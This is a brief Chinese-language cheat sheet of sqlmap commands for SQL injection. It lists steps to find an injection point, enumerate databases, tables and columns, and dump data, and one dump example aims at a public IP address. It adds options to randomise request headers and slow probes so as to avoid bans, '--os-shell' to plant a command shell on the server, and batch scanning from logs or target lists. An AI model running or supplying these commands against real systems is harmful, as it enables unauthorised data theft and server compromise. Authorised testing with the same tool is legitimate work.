常用指令
-D指定库 -T指定表 -C指定字段
1, -u 指定注入点
python sqlmap.py -u "http://127.0.0.1:8003/?id=1"
2, --dbs 跑库名
python sqlmap.py -u "http://127.0.0.1:8003/?id=1" --dbs
3, --tables 跑表名
python sqlmap.py -u "http://127.0.0.1:8003/?id=1" -D 要查询的库名 --tables
4, --columns 跑字段名
python sqlmap.py -u "http://127.0.0.1/?id=1" -D 库名 -T 表名 --columns
5, --dump 枚举数据
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" -D 库名 -T 表名 -C 字段名 --dump
6
常见指令
--random-agent //选择随机请求头
--delay=1 //每次探测延时1秒(防止访问过快被ban)
--level 1-5 //测试等级
--os-shell //尝试从网站中放入一个cmdshell
1.通过-l日志文件进行sql注入探测
导出日志文件
访问站点留下的日志文件
把文件test复制到sqlmap目录上输入命令
python sqlmap.py -l test
2.-m通过多行文本格对多个目标进行探测
输入命令
python sqlmap.py -m 1.txt